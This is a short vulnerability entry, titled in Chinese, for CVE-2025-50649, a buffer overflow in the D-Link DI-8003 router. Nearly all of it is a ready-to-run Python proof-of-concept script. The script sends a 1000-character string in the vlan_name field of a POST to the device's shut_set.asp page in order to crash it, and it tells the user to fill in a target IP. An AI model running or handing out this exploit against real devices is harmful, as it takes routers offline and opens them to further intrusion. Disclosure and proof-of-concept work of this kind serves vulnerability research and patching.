CVE-2025-50649 D-Link DI-8003缓冲区溢出漏洞

#!/usr/bin/env python3 """ PoC for CVE-2025-50649 Buffer Overflow in D-Link DI-8003 """ import requests target_ip = "192.168.0.1" # Replace with target IP url = f"http://{target_ip}/shut_set.asp" # Construct payload to trigger buffer overflow in vlan_name parameter # Sending a long string of 'A' characters to exceed buffer size payload = { "vlan_name": "A" * 1000 } def send_exploit(): try: print(f"[*] Sending payload to {url}...") response = requests.post(url, data=payload, timeout=5) print(f"[*] Response status code: {response.status_code}") print("[*] Exploit sent. If the device crashes, the vulnerability is confirmed.") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": send_exploit()